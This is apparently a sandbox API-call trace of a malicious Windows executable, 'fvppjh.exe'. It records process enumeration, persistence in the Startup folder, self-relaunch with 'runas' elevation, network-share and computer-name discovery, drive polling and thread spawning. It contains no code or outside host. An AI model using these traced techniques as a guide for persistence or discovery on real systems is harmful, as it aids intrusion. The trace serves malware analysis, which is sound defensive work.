	[0184.482] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.483] lstrlenW (lpString="svchost.exe") returned 11
	[0184.483] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.483] lstrlenW (lpString="svchost.exe") returned 11
	[0184.483] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0184.484] lstrlenW (lpString="dwm.exe") returned 7
	[0184.484] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.655] lstrlenW (lpString="svchost.exe") returned 11
	[0184.655] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.655] lstrlenW (lpString="svchost.exe") returned 11
	[0184.655] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.655] lstrlenW (lpString="svchost.exe") returned 11
	[0184.656] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.656] lstrlenW (lpString="svchost.exe") returned 11
	[0184.656] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.656] lstrlenW (lpString="svchost.exe") returned 11
	[0184.656] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.657] lstrlenW (lpString="svchost.exe") returned 11
	[0184.657] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.657] lstrlenW (lpString="svchost.exe") returned 11
	[0184.657] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.658] lstrlenW (lpString="svchost.exe") returned 11
	[0184.658] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.658] lstrlenW (lpString="svchost.exe") returned 11
	[0184.658] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.659] lstrlenW (lpString="svchost.exe") returned 11
	[0184.659] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0184.659] lstrlenW (lpString="spoolsv.exe") returned 11
	[0184.659] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.660] lstrlenW (lpString="svchost.exe") returned 11
	[0184.660] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0184.660] lstrlenW (lpString="audiodg.exe") returned 11
	[0184.660] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0184.660] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0184.660] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0184.661] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0184.661] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0184.661] lstrlenW (lpString="Memory Compression") returned 18
	[0184.661] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0184.662] lstrlenW (lpString="sihost.exe") returned 10
	[0184.662] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0184.662] lstrlenW (lpString="svchost.exe") returned 11
	[0184.662] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0184.663] lstrlenW (lpString="taskhostw.exe") returned 13
	[0184.663] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0184.663] lstrlenW (lpString="taskhostw.exe") returned 13
	[0184.663] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0184.664] lstrlenW (lpString="explorer.exe") returned 12
	[0184.664] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0184.664] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0184.664] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0184.664] lstrlenW (lpString="SearchUI.exe") returned 12
	[0184.664] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0184.665] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0184.665] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0184.665] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0184.665] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0184.666] lstrlenW (lpString="fvppjh.exe") returned 10
	[0184.666] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0184.666] lstrlenW (lpString="dllhost.exe") returned 11
	[0184.666] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0184.667] lstrlenW (lpString="dllhost.exe") returned 11
	[0184.667] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0184.667] lstrlenW (lpString="fvppjh.exe") returned 10
	[0184.667] Process32NextW (in: hSnapshot=0x3d0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 0
	[0184.668] CloseHandle (hObject=0x3d0) returned 1
	[0184.668] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 33
	os_tid = 0xde0

	[0151.303] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x608e20
	[0151.303] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x60bac0
	[0151.304] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x608d60
	[0151.304] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608d60, Size=0x20) returned 0x5ddd40
	[0151.304] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x608e80
	[0151.304] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608e80, Size=0x20) returned 0x5ddac0
	[0151.304] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0151.304] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0151.304] Wow64DisableWow64FsRedirection (in: OldValue=0x260ff20 | out: OldValue=0x260ff20*=0x0) returned 1
	[0151.304] lstrlenW (lpString="kernel32.dll") returned 12
	[0151.304] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddd40 | out: hHeap=0x5a0000) returned 1
	[0151.304] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0151.304] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddac0 | out: hHeap=0x5a0000) returned 1
	[0151.304] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x60bac0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe")) returned 0x47
	[0151.310] ShellExecuteExW (in: pExecInfo=0x260ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x260ff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
	[0183.158] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x41bceb8
	[0183.158] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x41bceb8, Size=0x20) returned 0x41c0520
	[0183.158] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x41bcf78
	[0183.158] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x41bcf78, Size=0x20) returned 0x41c07a0
	[0183.159] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0183.159] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0183.159] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0
	[0183.171] lstrlenW (lpString="kernel32.dll") returned 12
	[0183.171] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41c07a0 | out: hHeap=0x5a0000) returned 1
	[0183.171] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0183.171] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41c0520 | out: hHeap=0x5a0000) returned 1
	[0183.172] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.172] lstrlenW (lpString="runas") returned 5
	[0183.172] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x608e20 | out: hHeap=0x5a0000) returned 1
	[0183.172] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0183.172] ReleaseMutex (hMutex=0x1ec) returned 1
	[0183.172] Sleep (dwMilliseconds=0x1f4) 
	[0183.778] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0183.778] ReleaseMutex (hMutex=0x1ec) returned 1
	[0183.778] Sleep (dwMilliseconds=0x1f4) 
	[0184.489] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102
	[0184.489] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3408 | out: hHeap=0x5a0000) returned 1

Thread:
	id = 34
	os_tid = 0xde4

	[0151.306] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x608e98
	[0151.306] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608e98, Size=0x20) returned 0x5dda70
	[0151.307] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dda70, Size=0x40) returned 0x5b7a18
	[0151.307] GetLogicalDrives () returned 0x4
	[0151.307] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x62ace8
	[0151.307] GetComputerNameW (in: lpBuffer=0x62acec, nSize=0x270ff64 | out: lpBuffer="NQDPDE", nSize=0x270ff64) returned 1
	[0151.307] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x63acf0
	[0151.307] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x5b6750) returned 0x0
	[0151.308] WNetEnumResourceW (in: hEnum=0x5b6750, lpcCount=0x270ff30, lpBuffer=0x63acf0, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x63acf0, lpBufferSize=0x270ff38) returned 0x103
	[0151.308] WNetCloseEnum (hEnum=0x5b6750) returned 0x0
	[0151.308] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x5ba7f0) returned 0x0
	[0152.573] WNetEnumResourceW (in: hEnum=0x5ba7f0, lpcCount=0x270ff30, lpBuffer=0x63acf0, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x63acf0, lpBufferSize=0x270ff38) returned 0x0
	[0152.574] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x5fc4c0
	[0152.574] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x63acf0, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x5b6150) returned 0x0
	[0152.607] WNetEnumResourceW (in: hEnum=0x5b6150, lpcCount=0x270ff04, lpBuffer=0x5fc4c0, lpBufferSize=0x270ff0c | out: lpcCount=0x270ff04, lpBuffer=0x5fc4c0, lpBufferSize=0x270ff0c) returned 0x103
	[0152.607] WNetCloseEnum (hEnum=0x5b6150) returned 0x0
	[0152.607] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x5fe3d8
	[0152.607] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x63ad10, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4b8
	[0166.768] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x41c8048
	[0166.768] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x63ad30, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4c6
	[0166.773] WNetEnumResourceW (in: hEnum=0x5ba7f0, lpcCount=0x270ff30, lpBuffer=0x63acf0, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x63acf0, lpBufferSize=0x270ff38) returned 0x103
	[0166.773] WNetCloseEnum (hEnum=0x5ba7f0) returned 0x0
	[0166.773] GetLogicalDrives () returned 0x4
	[0166.773] Sleep (dwMilliseconds=0x64) 
	[0167.005] GetLogicalDrives () returned 0x4
	[0167.005] Sleep (dwMilliseconds=0x64) 
	[0167.294] GetLogicalDrives () returned 0x4
	[0167.294] Sleep (dwMilliseconds=0x64) 
	[0167.884] GetLogicalDrives () returned 0x4
	[0167.884] Sleep (dwMilliseconds=0x64) 
	[0168.418] GetLogicalDrives () returned 0x4
	[0168.418] Sleep (dwMilliseconds=0x64) 
	[0168.914] GetLogicalDrives () returned 0x4
	[0168.914] Sleep (dwMilliseconds=0x64) 
	[0169.201] GetLogicalDrives () returned 0x4
	[0169.201] Sleep (dwMilliseconds=0x64) 
	[0169.571] GetLogicalDrives () returned 0x4
	[0169.571] Sleep (dwMilliseconds=0x64) 
	[0169.741] GetLogicalDrives () returned 0x4
	[0169.741] Sleep (dwMilliseconds=0x64) 
	[0170.139] GetLogicalDrives () returned 0x4
	[0170.139] Sleep (dwMilliseconds=0x64) 
	[0170.461] GetLogicalDrives () returned 0x4
	[0170.461] Sleep (dwMilliseconds=0x64) 
	[0170.896] GetLogicalDrives () returned 0x4
	[0170.896] Sleep (dwMilliseconds=0x64) 
	[0171.179] GetLogicalDrives () returned 0x4
	[0171.180] Sleep (dwMilliseconds=0x64) 
	[0171.337] GetLogicalDrives () returned 0x4
	[0171.338] Sleep (dwMilliseconds=0x64) 
	[0171.897] GetLogicalDrives () returned 0x4
	[0171.897] Sleep (dwMilliseconds=0x64) 
	[0172.198] GetLogicalDrives () returned 0x4
	[0172.198] Sleep (dwMilliseconds=0x64) 
	[0172.708] GetLogicalDrives () returned 0x4
	[0172.708] Sleep (dwMilliseconds=0x64) 
	[0172.990] GetLogicalDrives () returned 0x4
	[0172.990] Sleep (dwMilliseconds=0x64) 
	[0173.145] GetLogicalDrives () returned 0x4
	[0173.161] Sleep (dwMilliseconds=0x64) 
	[0173.461] GetLogicalDrives () returned 0x4
	[0173.461] Sleep (dwMilliseconds=0x64) 
	[0173.837] GetLogicalDrives () returned 0x4
	[0173.837] Sleep (dwMilliseconds=0x64) 
	[0173.971] GetLogicalDrives () returned 0x4
	[0173.971] Sleep (dwMilliseconds=0x64) 
	[0174.112] GetLogicalDrives () returned 0x4
	[0174.112] Sleep (dwMilliseconds=0x64) 
	[0174.392] GetLogicalDrives () returned 0x4
	[0174.392] Sleep (dwMilliseconds=0x64) 
	[0174.538] GetLogicalDrives () returned 0x4
	[0174.538] Sleep (dwMilliseconds=0x64) 
	[0174.657] GetLogicalDrives () returned 0x4
	[0174.657] Sleep (dwMilliseconds=0x64) 
	[0174.896] GetLogicalDrives () returned 0x4
	[0174.896] Sleep (dwMilliseconds=0x64) 
	[0175.037] GetLogicalDrives () returned 0x4
	[0175.037] Sleep (dwMilliseconds=0x64) 
	[0175.144] GetLogicalDrives () returned 0x4
	[0175.144] Sleep (dwMilliseconds=0x64) 
	[0175.578] GetLogicalDrives () returned 0x4
	[0175.578] Sleep (dwMilliseconds=0x64) 
	[0175.875] GetLogicalDrives () returned 0x4
	[0175.875] Sleep (dwMilliseconds=0x64) 
	[0176.055] GetLogicalDrives () returned 0x4
	[0176.055] Sleep (dwMilliseconds=0x64) 
	[0176.309] GetLogicalDrives () returned 0x4
	[0176.310] Sleep (dwMilliseconds=0x64) 
	[0176.478] GetLogicalDrives () returned 0x4
	[0176.478] Sleep (dwMilliseconds=0x64) 
	[0176.592] GetLogicalDrives () returned 0x4
	[0176.592] Sleep (dwMilliseconds=0x64) 
	[0176.897] GetLogicalDrives () returned 0x4
	[0176.897] Sleep (dwMilliseconds=0x64) 
	[0177.132] GetLogicalDrives () returned 0x4
	[0177.132] Sleep (dwMilliseconds=0x64) 
	[0177.294] GetLogicalDrives () returned 0x4
	[0177.294] Sleep (dwMilliseconds=0x64) 
	[0178.137] GetLogicalDrives () returned 0x4
	[0178.137] Sleep (dwMilliseconds=0x64) 
	[0178.285] GetLogicalDrives () returned 0x4
	[0178.285] Sleep (dwMilliseconds=0x64) 
	[0178.540] GetLogicalDrives () returned 0x4
	[0178.540] Sleep (dwMilliseconds=0x64) 
	[0178.712] GetLogicalDrives () returned 0x4
	[0178.713] Sleep (dwMilliseconds=0x64) 
	[0178.989] GetLogicalDrives () returned 0x4
	[0178.989] Sleep (dwMilliseconds=0x64) 
	[0179.439] GetLogicalDrives () returned 0x4
	[0179.439] Sleep (dwMilliseconds=0x64) 
	[0179.632] GetLogicalDrives () returned 0x4
	[0179.633] Sleep (dwMilliseconds=0x64) 
	[0179.956] GetLogicalDrives () returned 0x4
	[0179.956] Sleep (dwMilliseconds=0x64) 
	[0180.213] GetLogicalDrives () returned 0x4
	[0180.213] Sleep (dwMilliseconds=0x64) 
	[0180.582] GetLogicalDrives () returned 0x4
	[0180.582] Sleep (dwMilliseconds=0x64) 
	[0180.943] GetLogicalDrives () returned 0x4
	[0180.943] Sleep (dwMilliseconds=0x64) 
	[0181.173] GetLogicalDrives () returned 0x4
	[0181.173] Sleep (dwMilliseconds=0x64) 
	[0181.468] GetLogicalDrives () returned 0x4
	[0181.468] Sleep (dwMilliseconds=0x64) 
	[0181.681] GetLogicalDrives () returned 0x4
	[0181.681] Sleep (dwMilliseconds=0x64) 
	[0182.031] GetLogicalDrives () returned 0x4
	[0182.031] Sleep (dwMilliseconds=0x64) 
	[0182.537] GetLogicalDrives () returned 0x4
	[0182.537] Sleep (dwMilliseconds=0x64) 
	[0182.921] GetLogicalDrives () returned 0x4
	[0182.921] Sleep (dwMilliseconds=0x64) 
	[0183.319] GetLogicalDrives () returned 0x4
	[0183.319] Sleep (dwMilliseconds=0x64) 
	[0183.630] GetLogicalDrives () returned 0x4
	[0183.630] Sleep (dwMilliseconds=0x64) 
	[0183.920] GetLogicalDrives () returned 0x4
	[0183.920] Sleep (dwMilliseconds=0x64) 
	[0184.307] GetLogicalDrives () returned 0x4
	[0184.307] Sleep (dwMilliseconds=0x64) 
	[0184.642] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0184.642] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7a18 | out: hHeap=0x5a0000) returned 1

Thread:
	id = 36
	os_tid = 0xdf0


Thread:
	id = 37
	os_tid = 0xdf4

	[0152.579] GetTickCount () returned 0x1138f36
	[0152.579] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x6287c8
	[0152.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6287c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0152.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6287c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0152.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6287c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
